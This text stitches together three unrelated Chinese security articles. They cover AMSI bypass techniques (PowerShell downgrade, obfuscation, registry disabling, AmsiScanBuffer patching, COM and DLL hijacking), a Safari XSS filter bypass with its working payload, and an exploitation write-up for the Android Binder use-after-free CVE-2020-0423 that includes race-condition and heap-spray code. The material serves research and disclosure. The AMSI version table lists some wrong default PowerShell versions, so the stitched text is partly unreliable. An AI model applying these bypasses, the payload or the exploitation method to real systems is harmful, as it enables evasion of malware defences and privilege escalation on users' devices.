#### 不同操作系统的默认Powershell版本
操作系统
| 默认Powershell版本 | 可支持Powershell版本
---|---|---
Windows Server 2008(SP2) | 2.0 | 3.0
Windows Server 2008 R2(SP1) | 5.1 | 5.1
Windows Server 2012 | 3.0 | 5.1
Windows Server 2012(R2) | 4.0 | 5.1
Windows 7(SP1) | 5.1 | 5.1
Windows 8 | 3.0 | 5.1
Windows 8.1 | 4.0 | 5.1
Windows 10 | 5.0 | 5.1
## 0x02 关于AMSI
### 简介
AMSI（Antimalware Scan Interface）， 即反恶意软件扫描接口。在Windows Server
2016和Win10上默认安装并启用。
使用案例：通过远程URL访问，在不落地的情况下执行PS代码，但是会被AMSI检测拦截。
大家在使用Powershell脚本进行Windows环境渗透测试时，可能会遇到上图中的报错情况，比如Nishang、Empire、PowerSploit和其他比较知名的PowerShell脚本。而这一错误的产生原因即为AMSI防护的结果。
### 说明
Win10
AMSI标准允许系统上安装的杀毒软件对系统进行深度的监控扫描，而且无需用户参与。允许基于AMSI接口的安全软件，通过AMSI接口扫描文件，内存、数据流等，进行内容源的URL/IP认证检查，并采用技术手段识别恶意行为。帮助用户更加方便有效地防范基于动态脚本的恶意软件和其他攻击行为。
### 检测对象
* 文件
* * 内存
* 数据流
### 检测目的
* 对抗基于脚本的攻击检测
* 对抗无文件攻击检测
### 可检测到的攻击手段
1. Powershell.exe执行的脚本
2. 不使用powershell.exe的情况下运行脚本
3. 使用单独的runspace（[p0wnedshell](https://github.com/Cn33liz/p0wnedShell)，[psattack](https://github.com/jaredhaight/PSAttack)）
4. System.Automation.Dll（[nps](https://github.com/Ben0xA/nps)，[Powerpick](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)）
5. 从WMI命名空间、注册表键和事件记录日志中加载脚本
6. 应用白名单绕过方式－InstallUtil,，regsrv32和rundll32。
### 配置AMSI
Win10 与Windows Server 2016默认是AMSI默认杀毒软件是Windows Defender。
如果已经安装360安全卫士，请在“设置中心”-“开启Defender”中，勾选开启Windows Defender防护。
### 软件支持
安全产品 | 支持状况
---|---
Microsoft Defender | 支持
AVG Protection 2016.7496 | 支持
ESET Version 10 | 支持
BitDefender | 支持
Avast | 支持
McAfee Endpoint Security 10.6.0 | 支持
Trend Micro | 支持
Kaspersky 2019 | 支持
Avira | 准备支持
F-Secure | 不支持
## 0x03 AMSI工作原理
AMSI不是独立运行的，而是一种可交互接口。
### AMSI与Windows Defender的关系
Windows Defender ATP主要使用机器学习，通过模型发现威胁。
AMSI是与Windows Defender相对独立的模块，Windows Defender是默认的 AMSI Provider。
### 整体框架
### 主要执行流程
1. 应用开发者使用AMSI API检测
图中红色表示订阅AMSI事件的安全软件，也就是AMSI提供器。在脚本引擎Powershell(
System.Management.Automation.dll) 和 Windows Script
Host(Jscript.dll)执行内容时，他们会通过amsi.dll的导出函数把内容传给AMSI提供器。
这里曾经出现一个安全漏洞，零字符截断绕过AMSI检测，流程如下：
恶意代码evilcode由于字符串截断没有送入到ASMI Provider中进行安全检查。
2. 安全产品供应商使用的检测接口
## 0x04 如何绕过AMSI
### 降级攻击
PowerShell v2版不支持AMSI，作为常用手段，将目标主机中的PowerShell降级至PowerShell v2简单快捷。
### 混淆
虽然文章开始给的脚本经过base64编码后依然能被AMSI检测，但是增强混淆程度也是绕过AMSI的有效方法之一。
以下是绕过字符串检测，执行“被禁止”代码的3种方法：
简单地将单词分成两部分，就足以欺骗这种检测方案。我们在混淆过程中，发现了很多这样的情况。但在大多数情况下，这种方法可能会失败。
当然，也可以使用XOR来欺骗AMSI，并在运行时将字符串解码到内存中。这是更为有效的方式，因为需要更高级的技术来对其进行检测。
### 禁用AMSI
* 修改注册表，将HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的表项值置为0。
* 关闭Windows Defender使系统自带的AMSI检测无效化。
执行完结果
* 利用反射将内存中AmsiScanBuffer方法的检测长度置为0。
### COM劫持
寻找优先加载并无效的COM表项，在注册表中将Provider的路径指向到无效路径。这样，Powershell中的AMSI功能将无法加载，从而失效。
劫持之后的效果
当然这个漏洞在2017年5月份的16232已经修复了，不过还可以通过DLL劫持绕过AMSI。
### DLL劫持
首先，我们先看下应用程序导入DLL优先级（Windows XP SP2以后版本）
1. 进程对应的应用程序所在目录；
2. 系统目录（通过 GetSystemDirectory 获取）；
3. 16位系统目录；
4. Windows目录（通过 GetWindowsDirectory 获取）；
5. 当前目录；
6. PATH环境变量中的各个目录；
可以看到第一条，与应用程序同级的目录的dll会被优先加载。利用这一点。我们在C:\Windows\System32\WindowsPowerShell\v1.0下放置一个伪造AMSI.dll，就可以实现DLL劫持，而不会调用系统的amsi.dll（C:\Windows\System32\asmi.dll,
如下）。
系统AMSI.dll路径，如下：
## 0x05 缓解方案
1. 开启全部系统日志并分析;
2. 至少开启Powershell脚本块，Sysmon和进程创建日志;
3. 安装4.0以上版本Powershell;
4. 卸载或者禁用2.0版本Powershell;
5. 开启Powershell的相关安全机制如APPLocker，Device Guard, Credential Guard 等;
6. 使用AMSI并关注绕过技术.
## 0x06 参考文献
<https://www.anquanke.com/post/id/107097>
<https://blogs.msdn.microsoft.com/daviddasneves/2017/05/25/powershell-security-at-enterprise-customers/>
<https://www.anquanke.com/post/id/84618>
<https://blogs.technet.microsoft.com/mmpc/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses> | 社区文章 |
原文：<https://labs.detectify.com/2018/10/19/xss-using-a-bug-in-safari-and-why-blacklists-are-stupid/>
**简介**
* * *
人们在Safari中发现了一个漏洞，攻击者可以利用该漏洞来绕过过滤器，从而发动相应的XSS攻击。
大约一年前，我开始研究某公司名下的资产，因为他们正在开展一项公开的漏洞赏金计划。其中，接近目标的一种方法是查找托管在网站上的纯HTML文件，当然，这些网站未必是利用这种形式搭建的。之所以这么做，是因为这种文件通常会含有DOM-XSS漏洞（相关资料，读者可以访问[https：//blog.detectify.com/2018/10/04/iframe-busters-lead-to-xss/](https://blog.detectify.com/2018/10/04/iframe-busters-lead-to-xss/
"https：//blog.detectify.com/2018/10/04/iframe-busters-lead-to-xss/")）。
下面是我无意中找到一个文件（当然，为了简洁起见，这里删除了不必要的代码）：
<script type="text/javascript">
var parseQueryString = function parse(queryString) {
*/
parsing
/*
return params;
}
var search = window.location.search;
var query = parseQueryString(search);
var redirect = query.redirect;
redirect = decodeURIComponent(redirect);
var parser = document.createElement('a');
parser.href = redirect;
var protocol = parser.protocol.toLowerCase();
if (['javascript:', 'vbscript:', 'http:', 'https:', 'data:'].indexOf(protocol) < 0) {
window.top.location = redirect;
}
</script>
该页面的作用貌似将访问者重定向到移动应用程序。这里，它会利用redirect参数，来检查相应的协议是否位于黑名单中，如果没有的话，就将访问者重定向到移动应用上面。
为了利用这个漏洞，我们需要创建这样一种连接：它将作为Javascript执行，而它的协议却不是“javascript”。据我所知，根据浏览器的规范，这是不可能的。但是，与所有软件一样，浏览器也并不总是严格遵守规范的。
由于我认为过滤器部分没有什么问题，所以，我就把精力都放到了重定向部分。我们发现，这里用到了.toLowerCase()函数，那么，是否可以找到一些unicode字符，使其转换为小写时，[会变成另一个字符](https://labs.spotify.com/2013/06/18/creative-usernames/ "会变成另一个字符")呢？如果我们使用换行符对协议进行分隔的话，它可以正常工作吗？
当然，这些尝试都没有成功，此外，我还进行了一些其他方面的尝试，不过也都以失败告终了。但是，所有这些尝试，我都完整地记录到了一个文本文件中，以备将来之用。
**将焦点转移到重定向部分**
* * *
大约半年后，我又一次回顾了这个问题。经过一番思考之后，我决定并重点放到重定向部分，而不是原来关注的过滤器部分。
根据自己的直觉，这次开始鼓捣Safari浏览器。[玩过一段时间](https://labs.detectify.com/2018/04/04/host-headers-safari
"玩过一段时间")之后，我发现它对于域和URL的处理方式比较怪异。我觉得，如果有用的漏洞的话，那么，这里就是最有可能找到它们的地方。
我打开控制台，编写了一个简单的函数来模拟各种绕过方法，然后，开始各种尝试。但是，这能行得通吗？
`//`是Javaccript中的单行注释符，`%0a`是一个URL编码形式的换行符，用于对注释符进行转义处理。从上图可以看出，这里好像没有什么问题。但是，之后……
令我惊讶的是，这次竟然奏效了。当然，这次可能主要归功于我们的运气，但无论如何，这种方法的确奏效！由于黑名单中未指定空协议，因此，它才能绕过过滤器。
最终的有效载荷将是`?redirect=javascript://%0aalert(document.domain)`。
我将这个安全问题报告给了使用这个SaaS供应商的一些大型网站。其实，通过将其中一个子域指向该服务的话，它们自身也会受到影响。其中一个受影响的站点联系了该SaaS供应商，该漏洞很快就被上游厂商修复了。同时，Apple公式也收到了该漏洞的相关报告。通常情况下，一切都将结束并被遗忘才对，但这次不是。
**引入新漏洞的补丁**
* * *
这个漏洞很快就被SaaS供应商修复了，这意味着，所有受影响的站点都恢复了安全。但是，该漏洞的补丁似乎破坏了页面的某些功能，这让我觉得，它是一个临时修复方案。之后，我会时不时地浏览这个页面，以期遇到一个永久性的解决方案，但过了一段时间，我就忘记了一切。
几个月后，我收到了一个链接到vpnMentor的[文章](https://www.vpnmentor.com/blog/dom-xss-bug-affecting-tinder-shopify-yelp/
"文章")，文章表明临时修复已被更永久性修复所取代。然而，谁能想到这次又引入了新的XSS漏洞，不过，这个漏洞是由vpnMentor发现的。
**漏洞再次回归**
* * *
最让人感兴趣的是，即使在vpnMentor发现的漏洞得到修复之后，最初的有效载荷仍然有效。我收到了相关文章的链接，因为发件人认为我第一次忘记了提交报告。第二个漏洞修复后，它仍然面临第三个漏洞的威胁，因为我们可使用与第一个报告中相同的有效载荷来发动攻击。
但是，这次不再是纯粹的DOM-XSS漏洞。因为现在Javascript已经不再读取URL参数，而是使用服务器端返回的数据。但是，除此之外，它或多或少仍然以同样的方式工作。
我想强调的是，即使现在存在一些漏洞，受影响的SaaS供应商的响应时间也一直很短并且处理得很好。所有软件都免不了有漏洞。
**最新的解决方案**
* * *
当前，修复第三个漏洞的解决方案是将''和':'添加到黑名单中。当目前为止，我还没有想出绕过它的方法，但这并不代表没有绕过它的方法。
// App redirects only.
if ([ 'javascript:', 'vbscript:', 'http:', 'https:', 'data:', 'ftp:', ':', ' ' ].indexOf(protocol) < 0) {
window.top.location = validate("[injection]");
}
这个函数很可能需要支持许多不同的自定义应用程序协议，这会使得使用白名单（而非黑名单）是不可能的，否则的话，我们强烈建议采用这种方法。
**小贴士**
* * *
* 做好笔记。重要的是，当你要弄明白某件事或想得到一个新想法时，不必重新开始。
* 黑名单不是一个好的解决方案。正如这里所示，试图让某物看起来不像某物要比让某物看起来像某物容易得多。
* Safari浏览器的某些地方非常怪异，这里不做进一步的评论。
* 修复自己的漏洞时，请记录第一次发现的漏洞的根源所在，以防止再次出现漏洞。对于漏洞猎人来说，监控补丁程序可能是一个很好的建议，因为漏洞再次出现并不罕见。
当协议漏洞在半年前首次被发现时，苹果公司就接到了相关的通知。但是，在Mac和移动设备上最新版本的Safari浏览器中，该漏洞仍然存在。 | 社区文章 |
**作者：360 Alpha Lab 韩洪立，简容，王晓东，周鹏
原文链接：<https://vul.360.net/archives/217>**
> 在2020年7月，我们向谷歌上报了一条远程ROOT利用链，该利用链首次实现了针对谷歌旗舰机型Pixel
> 4的一键远程ROOT，从而在用户未察觉的情况下实现对设备的远程控制。截至漏洞公开前，360 Alpha
> Lab已协助厂商完成了相关漏洞的修复。该漏洞研究成果也被2021年BlackHat
> USA会议收录，相关资料可以[这里](https://www.blackhat.com/us-21/briefings/schedule/#typhoon-> mangkhut-one-click-remote-universal-root-formed-with-two-> vulnerabilities-22946)找到。
> **该项研究成果也因其广泛的影响力在谷歌2020年官方漏洞奖励计划年报中得到了公开致谢，并斩获“安全界奥斯卡”Pwnie
> Awards的“史诗级成就”和“最佳提权漏洞”两大奖项的提名。这条利用链也因其广泛的影响力被我们命名为“飓风山竹”。**
在上一篇[文章](https://vul.360.net/archives/144)中，我们已经介绍了利用链的RCE部分，因此这篇文章将介绍利用链的沙箱提权部分。本文将首先对沙箱提权所使用的Binder驱动漏洞（CVE-2020-0423）进行分析，然后介绍在沙箱环境中提权遇到的挑战及对应的解决方案，最后是我们对这部分内核漏洞利用的总结。
## Introduction
Binder是安卓系统中最为核心且广泛使用的进程间通信方式，这使得系统设计者需要保证上层应用在各种场景下能够正常调用Binder驱动接口，包括限制最为严格的沙箱环境。近年来，Binder模块先后爆出了多个被证实可以被利用的漏洞，包括我们在2019年发现的“水滴”漏洞（CVE-2019-2025），这个漏洞影响了2016年11月~2019年3月的安卓系统。在此之后，CVE-2019-2215，谷歌Project
Zero团队于2019年9月发现该漏洞存在1-day在野利用，影响Pixel
2及以下机型，后于2019年10月安全公告中修补。CVE-2020-0041，由bluefrostsec团队发现，是一枚OOB类型的漏洞，影响了2019年2月~2020年3月的安卓系统，影响的设备包括运行Android
10的Pixel 4及Pixel 3/3a
XL。除去这些被证实可被利用的漏洞之外，Binder模块也爆出了一些其他相关的安全问题。按照行业的相关研究结论，大概每1000~1500行代码中间便会存在一枚漏洞，而Binder驱动核心代码binder.c文件中只有不到6000行代码。这不禁让我们有一个疑问，这个模块是否还存在此类漏洞呢？这也是本文将要介绍的CVE-2020-0423，也是利用链中使用的沙箱逃逸提权漏洞。利用该漏洞实现了仅触发一次漏洞就拿到了稳定的任意地址读写元语，可直接从沙箱逃逸提权至ROOT。实现了仅用两枚漏洞就打通了整条利用链，且该利用方案具备通用性。下文将会将其技术实现细节详细的分享给大家，以期能够促进攻防技术的共同进步。
## The Bug
一个典型的Binder通信过程大致分为四步：
（1）Client发送BC_TRANSACTION命令到内核；
（2）内核经过处理之后把BC_TRANSACTION转发到Server；
（3）Server接收到BC_TRANSACTION后开始处理任务，处理完成之后通过BC_REPLY命令把结果返回到内核；
（4）内核经过处理之后把BC_REPLY结果转发给Client。
Binder进程间通信模型:
Binder支持多种[类型](https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-crosshatch-4.9-android10/include/uapi/linux/android/binder.h)的对象传递，该漏洞和BINDER_TYPE_BINDER类型的对象传递有关。在如下所示的代码中，首先构造一个flat_binder_object结构体，然后通过BC_TRANSACTION命令发送到内核。
int send_service_handle(struct binder_state *bs, uint32_t target, int code, int handle)
{
struct flat_binder_object binder_obj;
uint64_t offsets = 0;
int obj_size = sizeof(struct flat_binder_object);
int offset_size = sizeof(uint64_t);
int res;
binder_obj.hdr.type = BINDER_TYPE_BINDER;
binder_obj.binder = handle;
binder_obj.cookie = 0xbbbbbbbb;
res = send_transaction(bs, target, code, &binder_obj, obj_size, &offsets, offset_size);
return res;
}
一般情况下，当内核接收到BINDER_TYPE_BINDER对象后，会将其[转换](https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-crosshatch-4.9-android10/drivers/android/binder.c#3439)成一个binder_node。在转换的过程中，binder_node结构体中类型为binder_work的成员work将以指针形式插入到当前线程对应的todo链表中。同时内核还会给该binder_node创建对应的binder_ref，这样Server端进程就可以通过该binder_ref找到对应的binder_node。如下图所示，work会被链接到thread->todo
链表上。
那么Server可以用这个binder_ref来做什么呢？当Server在使用完对应的binder_obj之后，会给内核[发送](https://cs.android.com/android/platform/superproject/+/android-10.0.0_r1:frameworks/native/cmds/servicemanager/binder.c;l=287)BC_BUFFER_FREE命令。当内核收到该命令后，就会根据该binder_ref找到对应的binder_node，然后减少引用计数器。当计数器变成0时，该binder_node就会被释放掉。
与此同时，Client端也能通过发送BINDER_THREAD_EXIT命令访问到这个binder_work对象。这个命令最终会调用到binder_release_work函数，该函数代码如下所示。在代码[1]处，先从todo链上取出binder_work，这里有锁保护，不存在竞争问题。在代码[2]处，会根据binder_work的type进行相应的清理工作，但是这里没有锁保护。
static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{
struct binder_work *w;
while (1) {
w = binder_dequeue_work_head(proc, list); // [1]从链上取出w时有锁保护
if (!w)
return;
switch (w->type) { // [2]这里没有锁保护，竞争成功会导致UAF问题
...
}
}
因此，Client和Server之间存在条件竞争问题。这个过程可以分为几步：
1、Client发送BINDER_THREAD_EXIT命令，然后从todo链上取出w；
2、Server发送BC_BUFFER_FREE命令，内核根据binder_ref找到binder_node，并减少引用计数至0，使得binder_node被释放掉；
3、此时binder_work所处内存已经处于释放状态，Client访问w->type就会导致UAF。
## Exploitation
> 前面我们分析了CVE-2020-0423漏洞的原理，接下来我们将给大家介绍如何利用这个漏洞以及这个过程中遇到的一些挑战。
### How to exploit the bug?
经过上面的分析，我们知道这是一个UAF漏洞。这种类型的漏洞利用的关键是Use点，从binder_release_work函数的实现可以看到，这里如果我们可以通过堆喷控制type，switch(w->type)就会进入我们需要的分支。
4575 static void binder_release_work(struct binder_proc *proc,
4576 struct list_head *list)
4577 {
4578 struct binder_work *w;
4579
4580 while (1) {
4581 w = binder_dequeue_work_head(proc, list);
4582 if (!w) <---------------------------------------------- [1]
4583 return;
4584
4585 switch (w->type) { <------------------------------------ [2]
4586 case BINDER_WORK_TRANSACTION: {
4587 struct binder_transaction *t;
4588
4589 t = container_of(w, struct binder_transaction, work);
4590
4591 binder_cleanup_transaction(t, "process died.",
4592 BR_DEAD_REPLY);
4593 } break;
4594 case BINDER_WORK_RETURN_ERROR: {
4595 struct binder_error *e = container_of(
4596 w, struct binder_error, work);
4597
4598 binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
4599 "undelivered TRANSACTION_ERROR: %u\n",
4600 e->cmd);
4601 } break;
4602 case BINDER_WORK_TRANSACTION_COMPLETE: {
4603 binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
4604 "undelivered TRANSACTION_COMPLETE\n");
4605 kfree(w);
4606 binder_stats_deleted(BINDER_STAT_TRANSACTION_COMPLETE);
4607 } break;
4608 case BINDER_WORK_DEAD_BINDER_AND_CLEAR:
4609 case BINDER_WORK_CLEAR_DEATH_NOTIFICATION: {
4610 struct binder_ref_death *death;
4611
4612 death = container_of(w, struct binder_ref_death, work);
4613 binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
4614 "undelivered death notification, %016llx\n",
4615 (u64)death->cookie);
4616 kfree(death);
4617 binder_stats_deleted(BINDER_STAT_DEATH);
4618 } break;
4619 default:
4620 pr_err("unexpected work type, %d, not freed\n",
4621 w->type);
4622 break;
4623 }
4624 }
4626 }
首先，我们假定binder_node对应的地址是 **X** 。根据上面的代码，不同的type值可能导致不同的结果：
（1）type是BINDER_WORK_TRANSACTION，可能触发double-free问题，但需要满足较为苛刻的条件，较难控制；
（2）type是BINDER_WORK_RETURN_ERROR，没有实际影响；
（3）type是BINDER_WORK_TRANSACTION_COMPLETE、BINDER_WORK_DEAD_BINDER_AND_CLEAR和BINDER_WORK_CLEAR_DEATH_NOTIFICATION之一，导致
**X+8** 被释放；
（4）剩下的情况将直接进入default分支。
综合来看场景（3）流程较为简单，具备较好的可利用性。
### **Vision of kernel from sandbox process**
由于Binder模块的特点，通过它可以搭建一条从沙箱进程通往内核的桥梁，但在这条通道上仍有着各种各样的安全策略来保证系统安全稳定的运行。正常情况下我们只能完成一些被规则允许的事情，而我们发现的这枚漏洞便有可能成为这规则之外的”力量”。我们需要避开这一系列的检查，与这一“力量”完成一系列的协作、布局，逐步完成对关键元素控制，并最后一举拿下内核的控制权。但想要完成这一切并不容易，在高度沙箱化的进程中实现逃逸一直以来都是极具挑战性的目标，无论是在各类国际赛事中，还是从安卓历史上来看，在Pixel系列机型上能够实现沙箱逃逸都能称得上是高难度目标，而能够直接提权至ROOT权限的案例就更是罕见。这主要是由于沙箱进程中一系列限制导致的：
**极少的攻击面**
在安卓中只有极少的几个服务还可以与沙箱中进程通信，我们可以看一下在Android 10上isolated_app域selinux的规则：
system/sepolicy/private/isolated_app.te
# b/17487348
# Isolated apps can only access three services,
# activity_service, display_service, webviewupdate_service, and
# ashmem_device_service.
neverallow isolated_app {
service_manager_type
-activity_service
-ashmem_device_service
-display_service
-webviewupdate_service
}:service_manager find;
而到了Android
11上，ashmem_device_service被从中移出，沙箱中进程无法再直接通过请求ashmem_device_service来创建一片ashmem。
在这为数不多的几个可访问的Binder服务中，其中的大部分接口调用还会有进步一步的强制检查来进行封堵。以activity_service为例，在从servicemanager获取Binder代理后，通过该代理大部分接口都会调用enforceNotIsolatedCaller()来检查是否为isolated
app，对于isolated_app域的进程会直接抛出安全检查异常。
frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
public class ActivityManagerService extends IActivityManager.Stub
implements Watchdog.Monitor, BatteryStatsImpl.BatteryCallback {
... skip ...
private void enforceNotIsolatedCaller(String caller) {
if (UserHandle.isIsolated(Binder.getCallingUid())) {
throw new SecurityException("Isolated process not allowed to call " + caller);
}
}
... skip ...
@Override
public boolean clearApplicationUserData(final String packageName, boolean keepState,
final IPackageDataObserver observer, int userId) {
enforceNotIsolatedCaller("clearApplicationUserData");
int uid = Binder.getCallingUid();
int pid = Binder.getCallingPid();
final int resolvedUserId = mUserController.handleIncomingUser(pid, uid, userId, false,
ALLOW_FULL_ONLY, "clearApplicationUserData", null);
... skip ...
}
... skip ...
}
而我们发现的这枚CVE-2020-0423漏洞并不担心这个问题，因为其触发条件受限极低，仅需能与任意一个Binder服务能够通信即可，这意味着我们可以通过借助这些能够被访问的Binder服务来触发漏洞。
**• 有限的系统调用**
诸如绑定CPU这类系统调用在沙箱中不再被支持，这对于利用一些条件竞争类型的UAF漏洞可能会造成限制。
**• 受限的文件/设备访问权限**
沙箱进程有着极为严格的约束限制，来保证即便通过浏览器入口实现了远程代码执行，在沙箱中也面临寸步难行的囧地。尤其是对于文件或设备的写操作有着极为严格的限制。
**• 更多的安全防护措施**
安卓系统在设计上采用了最小化权限准则，除了约束极为严格的selinux策略，在沙箱进程中还采用了BPF安全机制，设备了白名单机制，只有必要的系统的调用才会被加到这个名单中。这也使得我们在编写漏洞利用时常用的一些系统调用，如CPU/socket/相关的堆喷函数都无法再被调用。
**• 在32位的Chrome渲染进程中攻击64位kernel**
同一系统调用，32位和64位场景下特性不一致，这在实际编写漏洞利用时会遇到很多意料之外的麻烦，甚至导致一些接口无法使用。同时，对于镜像攻击这类方法在沙箱进程中无法施展，32位的地址空间是无法构造出镜像攻击所需的条件。
安卓内核的经过多年的攻防对抗，其安全性得到了极大的提高，先后引入了包括SELinux, PXN, PAN, KASLR,
CFI等一系列防护。想利用这样一枚自身存在诸多限制的条件竞争型漏洞在沙箱进程中成功完成一系列的提权操作，并能稳定控制住内核，听起来总有点crazy。这就像在物资极其匮乏的条件下造这枚“核弹头”，不过好在我们拥有最核心的原料——漏洞。安卓内核经历了多年的攻防对抗，现有的利用技术也多被封堵，在代表当时谷歌安卓最高防御水平的旗舰机型Pixel
4上实现这样一条利用链，也唯有出奇，才能致胜。接下来的章节会将会带着大家再度领略这条漏洞利用之路。
### How to spray?
对于尝试利用这类UAF类型的漏洞，第一步依然是从堆喷、劫持执行流开始。我们在上面的章节中讨论了漏洞转化的方向，下一步是选择堆喷方案。我们必须代码[1]和代码[2]这个竞争窗口之间完成三个动作：
1、把binder_node释放掉；
2、把释放的slab申请回来；
3、修改type对应的内存。
但这个漏洞留给我们的竞争窗口非常窄，所以我们面临的第一个问题就是： **如何在非常窄的竞争窗口中通过堆喷控制type？**
我们有两种方案：1、 **扩大竞争窗口** ；2、 **让竞争场景出现的更频繁** 。
* 对于第一种方案，我们在CVE-2019-2025“水滴”漏洞利用中使用过一种非常有效的方法。这个漏洞在触发的时候，会涉及到mutex锁unlock操作，这个操作最终会调用wake_up_q()函数去唤醒等待同一个mutex锁的线程。如果我们触发漏洞的线程与另一个线程（等待同一个互斥锁）绑定到同一个CPU上，在当前线程调用unlock的时候便会唤醒另一个线程，也就是当前线程会主动让出CPU，这就给我们留下了足够多的时间来完成释放以及后续的堆喷操作。不过，这个方法并不适用于spinlock。
* 对于第二种方案，常规的解决方案是将存在条件竞争的线程和堆喷的线程绑定到多核CPU的一个核上去执行。 `bool bind_cpu(int cpu) { cpu_set_t set;CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) { log_err("sched_setafinnity(): %s\n", strerror(errno)); return false; } return true;}`
因为不具备第一种方案的条件，所以我们只能使用第二种方案。为了验证这个方案的可行性，我们尝试先在untrusted_app域环境中进行测试，在绑定CPU的基础之上，我们找到了一个可以大幅提高堆喷成功率的方案。因为普通应用可以在untrusted_app域中注册Service，所以我们可以自己注册([参考](https://github.com/bluefrostsecurity/CVE-2020-0041/blob/master/lpe/src/endpoint.c))一个Service，这样Server端发送BC_BUFFER_FREE命令的时机就是完全可控的。接下来，把触发漏洞的Client线程、Service线程和堆喷（堆喷我们使用的是sendmsg接口，具体实现上参考了[bluefrostsecurity](https://github.com/bluefrostsecurity/CVE-2020-0041/blob/master/lpe/src/realloc.c)团队的实现方法）线程绑定到同一个CPU上。做完了这两步，再去用堆喷去修改w->type的成功率就会大大提高。
但是这个方案无法迁移到沙箱环境中，原因主要是两个：
1、箱中用于绑定CPU的系统调用被禁用了，这是比较关键的原因；2、沙箱环境中不能注册Service，我们只能使用系统原生的service_manager，这就导致释放binder_node的过程不可控。因此如果想要在沙箱中利用这个漏洞，必须要解决的第一个问题就是如何触发漏洞。在这个阶段，我们甚至不考虑使用堆喷去修改w->type，因为失去了绑定CPU这个功能的辅助，非常窄的竞争窗口使得漏洞触发变成了一件几乎不可能的事。在深入探索之后，我们成功的解决了这个问题，我们不仅可以尝试布局堆，也可以尝试布局CPU。我们熟悉的Heap-Fengshui更多的是从空间布局上来思考，而CPU-Fengshui更多的是从时间上思考，通过影响CPU调度来布局进程的在时间上的分布，这种方法也被我们称为CPU-Fengshui。通过CPU-Fengshui最终来实现各段代码逻辑在运行时间关系上的排列、布局，如果能通过有限的操作来达到布局CPU的效果，将会为漏洞利用的实现创造条件。
#### CPU-Fengshui
首先，我们需要思考一个问题—— **绑定CPU为什么能提高条件竞争的成功率？**
Android系统是一个基于Linux内核的分时系统，在分时系统中，内核会把一个时间段切割成多个CPU时间片，然后根据特定的调度算法把这些时间片分配给等待执行的线程。除非线程自己主动放弃CPU，每个线程在使用完自己的时间片后才会被强制让出CPU。因此，如果将多个存在竞争的线程绑定到同一个CPU上，内核为了保证每个线程都被调度到，那就必须提高切换线程的频率。线程切换频率越高，就越有可能在竞争窗口切换出去，从而给堆喷提供机会。沿着这个思路，我们在触发漏洞代码中引入了Padding线程。
void *padding_thread(void *arg)
{
volatile int counter = 0;
set_thread_name("padding_thread");
while(!exploit){
counter++;
}
return NULL;
}
不难看出，Padding线程是一个CPU密集型的线程，它唯一的操作就是对counter做自加一。在引入这个线程之后，我们发现就算没有CPU绑定，沙箱中也能通过堆喷修改type了，不过漏洞触发时间依旧不太理想。为了找到最优的Padding线程数量，我们在Pixel
4上做了一个简单的[实验](https://github.com/360AlphaLab/cpu-fengshui/blob/main/src/fengshui.c)。
从实验结果可以看到，随着Padding线程数量的增加，CPU切换线程的次数是在逐步增加的，但当线程数量超过25之后，这个值就进入了一个稳定的状态。再来看我们关心的漏洞触发线程（Race
Thread），当Padding线程数量介于0~25之间时，CPU切换到漏洞触发线程的次数会在一定范围内波动，但当它超过25之后，这个值就呈现明显的下降趋势。依据这些数据，我们可以得出一个结论：
**当Padding线程数量是25左右时，CPU切换最为频繁，同时漏洞触发线程获得CPU的次数也能达到一个较高的区间值。**
那么，如果将Padding线程数量设置为25，漏洞触发时间是否就是最短的呢？有趣的是，实验结果支持我们的结论。
**除了Padding线程数量可以影响漏洞触发时间之外，线程优先级也能作为一个变量来影响实验结果。**
int setprio(int priority)
{
int ret;
ret = setpriority(PRIO_PROCESS, syscall(__NR_gettid), priority);
if (ret < 0)
log_err("setpriority failed, ret %d\n", ret);
return ret;
}
通过这段代码，我们可以在沙箱中改变当前线程的优先级。 **因为优先级可以直接影响时间片的大小，所以理论上来说也会影响到漏洞触发的成功率**
。不过，我们没有通过实验进一步分析这个因素的实际影响，而是采用了一个经验值，因为此时实际的漏洞触发时间已经在可接受的范围内。在调用绑定CPU系统调用场景下，我们可以做到几秒钟时间触发漏洞，而在沙箱环境下，通过这一方法来模拟绑定CPU效果，也可以在十几秒之内成功触发漏洞。
#### Heap-Fengshui
解决了触发漏洞的问题，我们还需要解决堆布局的问题。在内核中，为了保证堆块的使用效率，内核在分配堆块的时候，每个CPU有自己所属的slab。也就是说，如果CPU-0释放了一个大小为128的slab，此时CPU-1去申请128大小的slab得到的堆块并不是CPU-0刚刚释放的slab，这个slab只有CPU-0自己才能申请回来。但在利用的时候，我们需要提前在内存里面按照特定填充特定的结构体并预留一些空洞。失去了绑定CPU功能的辅助，一个线程在某一时刻所处的CPU是不确定的，那也就意味着这个线程所做的堆块操作可能不会按照我们预想的方式进行。另一个问题是，我们没有办法控制漏洞在哪个CPU上成功触发，这就要求我们必须给每个CPU都准备独立的堆布局。
**如果我们知道线程当前所属CPU，然后再根据当前CPU去做相关的堆布局不就可以了吗？**
这样的思路是没有问题的，如果我们使用SYS_getcpu去获取当前CPU，这个问题就可以迎刃而解。但是，沙箱中不允许我们调用这个接口。经过一番探索，我们找到了一个文件`/proc/pid/stat`，该文件内容如下所示：
1|blueline:/data/local/tmp $ cat /proc/self/stat
15752 (cat) R 13930 15752 13930 34816 15752 4194304 429 0 0 0 0 0 0 0 20 0 1 0 7227643 11032059904 798 18446744073709551615 428734074880 428734523136 549425406096 0 0 0 0 0 1073775864 0 0 0 17 6 0 0 0 0 0 428734545376 428734555736 429511938048 549425407612 549425407632 549425407632 549425410024 0
通过查看Linux帮助[文档](https://man7.org/linux/man-pages/man5/proc.5.html)，我们可以看到这样一段话：
(39) processor %d (since Linux 2.2.8)
CPU number last executed on.
